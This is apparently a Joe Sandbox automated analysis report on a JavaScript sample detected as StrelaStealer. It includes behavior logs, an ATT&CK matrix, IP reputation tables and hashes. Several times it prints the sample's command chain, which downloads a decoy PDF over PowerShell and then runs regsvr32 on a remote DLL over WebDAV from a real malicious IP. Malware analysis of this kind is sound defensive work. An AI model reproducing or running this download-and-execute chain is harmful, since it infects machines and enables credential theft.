Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5775			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4014			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4920	Thread sleep count: 5775 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4920	Thread sleep count: 4014 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4420	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2784	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1208	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5660	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.3440092663.000001618BA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`s%
Source: net.exe, 00000007.00000002.2228440226.0000022B100DC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3442706069.0000016191255000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2228244724.0000022B10078000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
22388142366532662.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
22388142366532662.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/-;	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/0~	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Y	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/1;	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2228244724.0000022B10078000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.2141172633.0000020087514000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2139928258.0000020087504000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Y	net.exe, 00000007.00000003.2217062097.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228341000.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2221300032.0000016190FA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3442814530.00000161912A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/-;	net.exe, 00000007.00000003.2217062097.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228341000.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/0~	net.exe, 00000007.00000002.2228440226.0000022B100D0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2210392715.0000022B100CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2228244724.0000022B10078000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2217062097.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228341000.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/1;	net.exe, 00000007.00000003.2217062097.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228341000.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588677
Start date and time:	2025-01-11 04:04:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	22388142366532662.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.107, 2.16.168.105, 23.204.152.227, 23.204.152.210, 23.204.152.223, 192.168.2.6, 13.107.246.45, 52.6.155.20, 20.109.210.53, 96.17.64.171, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:05:11	API Interceptor	26x Sleep call for process: powershell.exe modified
22:05:16	API Interceptor	1x Sleep call for process: net.exe modified
22:05:16	API Interceptor	2x Sleep call for process: svchost.exe modified
22:05:23	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1460324287242413198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	72382724245064961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2322331617238881677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	652114013130199968.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263235073821341
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0C:9JZj5MiKNnNhoxuX
MD5:	D59537176F56500CA9C315304EBCC1D7
SHA1:	BE461FF1DF5A527E365CC8F2B70AD33445F07206
SHA-256:	5B1EA6627782CA0B42C4782FA1C3E065445C255B1CB78FB3F6931AF9CB05753E
